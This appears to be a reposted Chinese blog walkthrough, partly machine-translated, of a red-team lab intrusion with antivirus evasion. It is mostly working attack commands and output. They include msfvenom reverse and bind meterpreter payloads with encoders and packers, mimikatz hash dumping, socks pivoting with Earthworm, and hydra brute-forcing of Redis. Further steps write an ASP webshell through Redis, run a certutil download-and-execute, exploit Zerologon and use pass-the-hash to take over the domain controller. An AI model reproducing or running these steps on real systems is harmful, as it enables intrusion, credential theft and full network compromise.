当前位置:网站首页>APT level comprehensive free kill with Shell
APT level comprehensive free kill with Shell
2022-08-03 01:04:00 【wespten】
Now the situation is that a Trojan horse has been uploaded,可以执行如:ls、pwd、whoami等命令;不管是python、bash 还是 perl 都反弹不了, 偷不了懒了,就上 msf 吧.
一、windows一句话木马反弹shell思路
前提:目标在有webshell权限下,利用kali的msf制作木马反弹shell过程.
启动kali中的msf
┌──([email protected])-[~]
└─# msfconsole
生成exe类型反弹型木马,LHOST=kali 的 ip.
msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.173.4 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
msf6 >
将shell.exe木马通过冰蝎连接的webshell上传至目标,在kali的msf中开启监听4444端口.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.173.4
lhost => 192.168.173.4
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.173.4:4444
执行上传至目标的木马,msf监听连接成功创建meterpreter会话.
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.173.4:4444
[*] Sending stage (175174 bytes) to 192.168.173.5
[*] Meterpreter session 1 opened (192.168.173.4:4444 -> 192.168.173.5:50498) at 2021-11-02 17:02:55 +0800
meterpreter >
查看用户权限ip配置信息.
meterpreter > getuid
Server username: DESKTOP-E4K5Q89\aaron
meterpreter > config
[-] Unknown command: config.
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 5
截取目标屏幕,运行记事本.
meterpreter > screenshot
Screenshot saved to: /root/CyHNFpoL.jpeg
meterpreter > execute -f notepad.exe
Process 736 created.
meterpreter >
运行目标主机上的cmd.exe程序,并以隐藏的方式直接交互到我们的meterpreter会话上.
meterpreter > execute -H -i -f cmd.exe
Process 1872 created.
Channel 1 created.
Microsoft Windows [�汾 10.0.19043.1237]
(c) Microsoft Corporation����������Ȩ����
C:\Users\aaron\Desktop>
二、LinuxServer one word Trojan reboundshell思路
1、msf生成shell文件,msfvenom Generate bounces firstshell文件,并赋权.
下载shell文件执行,Execute the download command in one sentence Trojan, wget 和 curl 都可以,一般linuxThere are download tools on the machine:
这里要注意,If the file is downloaded and the execution file cannot return traffic, you need to check whether the file download needs to be downloaded or there are other situations.
1、下载失败;
一般来说使用 curl 或 wget 的output参数下载出来如果下载失败,We need to view the specified file downloaded,如output参数指定 download.file :
Generally, if the download fails, it will prompt parsing failure or other.
2、The path system could not be found; 下载命令指定绝对路径即可.
shelltraffic connection:
After the execution, you can see the traffic of the established connection:
下一步:
三、红队渗透拿Shell实战
在红队攻防中,我们主要在外网进行信息收集,通过cms或者其他漏洞拿到shell,之后通过免杀木马将windows或linux服务器上线到cobalt strike或msf等c2服务器,之后对内网进行信息收集并绘制网络拓扑图,进行工作组或域渗透,拿到各个网段机器的权限,远程登录并截图证明.
环境配置,从虚拟机网络来看.
机器描述:
攻击机:win10:192.168.1.6 kali:192.168.1.10
第一层:12server-bt:192.168.1.5192.168.59.133
第二层:12server-redis:192.168.59.410.10.10.202
第三层:12server-ex13:10.10.10.209
第三层:12server-dc:10.10.10.201192.168.59.133 存在杀软(火绒), 可通外网, 可访问server-redis192.168.59.4/10.10.10.202 不通外网,可以通内网两个机器,也可以访问到机器server-bt,10.10.10.209 为邮服, 只能内网机器互相访问10.10.10.201 为DC
整体攻击思路:
第一层 server-bt:
蚁剑拿shell
msf免杀拿shell
使用msfvenom生成免杀木马payload,里面的IP和端口自行修改,就是反弹shell的kali.
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.10 lport=6666 -e x86/shikata_ga_nai -i 12 -f raw -o msf.bin
使用分离免杀工具生成loader.exe文件.
对生成的exe文件进行加壳免杀.
免杀效果如下:
免杀之后通过蚁剑上传到server-bt上.
msf 开启监听:
msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.1.10set lport 6666run
蚁剑运行:
getuid:
ps:
migrate 476:
msf内网渗透:
load mimikatz # 加载Mimikatz模块.
抓取Hash:
meterpreter > mimikatz_command -f samdump::hashes
hashdump:
然后抓到了 hash:
通过解密得到了 administrator 的密码.
route print # 打印路由信息
对内网进行扫描 arp 存活.
run post/windows/gather/arp_scanner rhosts=192.168.59.0/24
配置路由:
meterpreter > run autoroute -s 192.168.59.0/24
开启远程桌面:
run post/windows/manage/enable_rdp
成功开启了远程桌面,并且生成了一个txt文件,这个txt文件往后可用来关闭远程桌面,关闭命令:
run multi_console_command -r /root/.msf4/loot/xx_default_192.168.1.5_host.windows.cle_xxx5.txt
绕过火绒添加用户,蚂蚁剑或者cs上传添加用户.exe.
运行文件.
帐号:hxxxr 密码:Pxxxxd
远程登录server-bt
权限提升,使用psexec.exe可以提升到system权限.
psexec.exe -accepteula -s -i -d cmd.exe
但是桌面还是之前用户的权限启动的.
为了完全提权,我们可以在system的cmd里面输入taskmgr.exe来启动任务管理器.
在任务管理器里面我们结束掉之前由之前账号开启的桌面进程.
然后再添加一个由system权限下开启的桌面进程.
再点入看现在登入的账号是:
第二层 server-redis
Earthworm穿透,上传EW(Earthworm)到C:/wwwroot/ .
服务器端执行以下命令:
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件.
$ vim /etc/proxychains.confsocks5 192.168.1.5 1090
探测内网网段存活主机.
proxychains nmap -sT -Pn -p 80 192.168.59.0/24
192.168.59.4是存活的,我们着重看一下,发现开了80和6379.
Redis-getshell
kali环境进行爆破:
proxychains hydra -P /usr/xxx/password.lst 192.168.59.4 redis 6379
得到Redis口令,连接redis:
proxychains src/redis-cli -h 192.168.59.4 -a 1xxxxx
备份文件写Shell:
192.168.59.4:6379>config set dir "C:\\inetpub\\wwwroot" 进入默认目录
192.168.59.4:6379>config set dbfilename "redis.asp" 创建文件
192.168.59.4:6379>set x "<%eval request(\"chopper\")%>" 写webshell
192.168.59.4:6379>save 最后保存
利用过程:
代理蚁剑进行连接这个shell:
成功连接到server-redis:
并查看权限:
利用蚁剑把SweetPotato.exe(甜土豆)上传到C:/Redis/或者C:/ProgramData/目录下:
成功进行提权.
msf正向免杀木马拿到shell
Earthworm穿透,挂代理,通过之前上传的EW(Earthworm).
服务器端执行以下命令(关掉server-bt的防火墙代理才能生效)
execute C:\wwwroot\ew.exe -s ssocksd -l 1090
这里还需要修改proxychains.conf配置文件
$ vim /etc/proxychains.confsocks5 192.168.1.5 1090
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin
用msfvenom生成一个正向马传进去(因为无法访问外网,反向出不来),msf正向连接.
使用分离免杀工具生成loader.exe文件.
改名为msf1.exe,进行加壳免杀.
免杀效果如下:
先把木马通过蚂蚁剑上传到宝塔(需要进行免杀),火绒未告警.
通过redis的shell进行操作,192.168.59.4远程下载192.168.59.133上的马.
C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://192.168.59.133/msf1.exe msf1.exe
再通过提权工具进行执行:
C:\ProgramData\xxxx.exe -i -c “msf1.exe”
也可以直接将木马上传到server-redis的C:/Redis/可写目录下就不需要免杀了.
msf通过代理开启监听.
proxychains msfconsoleuse exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset RHOST 192.168.59.4set lport 4444run
成功获取服务器的shell,之后就是各种权限维持了.创建计划任务、开机自启等等都能够实现.
PS:
migrate 3992getuidgetsystemgetuid
添加账户和远程连接同第一层.
msf内网渗透
load mimikatz # 加载Mimikatz模块
抓取Hash:
meterpreter > mimikatz_command -f samdump::hashes
hashdump:
得到12SERVER-REDIS账号密码:
route print # 打印路由信息
配置路由:
meterpreter > run autoroute -s 10.10.10.0/24
run autoroute -p
通过蚂蚁剑将nbtscan.exe上传到server-redis的Redis可读写目录下.
探测内网段存活:
nbtscan.exe 10.10.10.0/24
ipconfig /all
10.10.10.0/24段的DNS服务器是10.10.10.201 而在域环境中DNS服务器就是当前使用的域控制器.
添加完路由后可以通过msf访问所有机器,访问域控:
proxychains curl 10.10.10.201
第三层 server-dc
zerologon(CVE-2020-1472)漏洞复现
这里已经满足触发zerologon的两个条件,能ping通域控制器,知道域控计算机名,当然最后dump出域内所有hash的时候需要域名.
置空域控机器用户NTLM hash:
proxychains python3 cve-2020-1472-exploit.py 12server-dc$ 10.10.10.201
接下来用置空的机器账户dump所有hash.
(890c这个hash就是"空"的NTML hash)
我们的目标是获得域内administrator的hash,然后就可以hash传递,登陆任意域内机器:
proxychains wmiexec.py -hashes :42e265xxxxxx62387 [email protected]
利用 psexec(PTH)上线server-dc到 MSF:
proxychains msfconsoleuse exploit/windows/smb/psexecset RHOST 10.10.10.201set SMBUser Administratorset SMBPass aad3bxxxxxxxx4ee:42e265xxxxxx962387set SMBDomain xxxxxset payload windows/x64/meterpreter/bind_tcp_rc4set LPORT 4446 run
成功获取到shell.
利用 psexec 上线server-ex13到 MSF:
proxychains msfconsoleuse exploit/windows/smb/psexecset RHOST 10.10.10.209set SMBUser Administratorset SMBPass aad3bxxxxxxxee:42exxxxxxx387set SMBDomain xxxxset payload windows/x64/meterpreter/bind_tcp_rc4set LPORT 4447 run
四、其他kali下的web后门工具
1. webacoo
仅适用于php
2. weevely
仅适用于php
边栏推荐
猜你喜欢
kubernetes pod podsecurityPolicies(PSP)
TDengine 在中天钢铁 GPS、 AIS 调度中的落地
Teach you how to kill if else
【TypeScript】深入学习TypeScript模块化
Learn more TypeScript 】 【 TypeScript modular
Shunted Self-Attention via Multi-Scale Token Aggregation
If the watermark according to how to realize the function
若依如何实现添加水印功能
B站回应HR称用户是Loser:涉事面试官去年底已被劝退
Abstract Factory Pattern
随机推荐
Tanabata is here - the romance of programmers
centos7安装mysql5.7
Word operation: adjust the English font individually
TDengine 在中天钢铁 GPS、 AIS 调度中的落地
gdb调试简要总结
group of people
C语言函数详解(2)【函数参数——实际参数(实参)&形式参数(形参)】
js function anti-shake and function throttling and other usage scenarios
Image recognition from zero to write DNF script key points
了解 NFT 质押:Web3 中赚取被动收益的另一种方式
采用QT进行OpenGL开发(三)着色器编程
HCIP(17)
go context 包
学习基因富集工具DAVID(2)
CWE4.8:2022年危害最大的25种软件安全问题
Token、Redis实现单点登录
Learn more TypeScript 】 【 TypeScript modular
【C语言】带头双向循环链表(list)详解(定义、增、删、查、改)
Software testing pen questions 1 (with answers)
resubmit 渐进式防重复提交框架简介